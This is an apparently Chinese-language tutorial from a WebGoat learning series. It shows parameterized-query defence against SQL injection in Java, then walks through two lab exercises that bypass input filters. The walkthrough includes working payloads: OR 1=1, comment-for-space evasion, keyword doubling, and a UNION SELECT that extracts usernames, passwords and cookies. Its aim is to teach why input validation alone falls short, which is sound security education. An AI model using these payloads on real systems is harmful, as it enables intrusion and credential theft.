終於,仿生人教會了網頁山羊不要多想,草就是草,上面的標籤不是指令這件事情,不用在擔心網頁山羊突然變成煙火了
今天,我們便要來學習SQL injection的防護了,畢竟要學資安肯定是要兩者兼備的,今天會學到Immutable queries(不可變查詢)以及為甚麼單純的(Input Validation)輸入驗證不能很好的
讓指令內不包含能被翻譯的物件,或使物件不需要被翻譯
讓指令在編譯期間就已經確定,執行時不會在變結構
String query = "SELECT * FROM products";
由於SQL是先拼接,再執行,因此最好的辦法就是盡量不要讓拼接產生
讓指令知道這資料裡面不管裝了甚麼,都只是這一個資料的名稱
String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();
在這程式碼中,?就是那個參數,我們會把他叫成佔位符
這種寫法可以讓程式看到佔位符後提前編譯
這樣就能鎖死結構
讓輸入不管是啥,都只會是資料,而不是有可能變成指令
雖然我們的查詢已經用參數化保護了,但還是推薦加入輸入驗證,可以順便降低其他觸發方法是靠存入資料庫的攻擊


這題就是之前UNION SELECT題目的升級版
我們先輸入
` OR 1=1;--
試試看

會發現這裡多了一個不准使用空格的限制
但我們還有其他東西可以用
就是/* */
他本身是單行註解,但進到資料庫後就會像空格一樣
我們接下來試試看輸入下面指令驗證看看可不可行
'/**/OR/**/1=1;--

成功了!
接著只要把之前UNION SELECT的
' UNION SELECT userid, user_name, password, cookie, 'a', 'b', 1 from user_system_data;--
給改成
'/**/UNION/**/SELECT/**/userid,user_name,password,cookie,'a','b',1/**/from/**/user_system_data;--
便可以通關


這題目標和上一題一樣,先直接用上一題的答案試試看

看一下下面的回傳,會發現我們的SELECT和from居然被吃掉了
這時候我們可以用拼接的方法試試看
輸入SELESELECTCT 試試看

可以看見他們成功的拚成了一個SELECT,所以這種讓他刪除後自動拼接的方法是可行的
那麼我們就可以把剛剛的上一題答案改成
'/**/UNION/**/SELESELECTCT/**/userid,user_name,password,cookie,'a','b',1/**/frfromom/**/user_system_data;--

這兩題很好的告訴了我們
輸入驗證並不能很好的防止SQL注入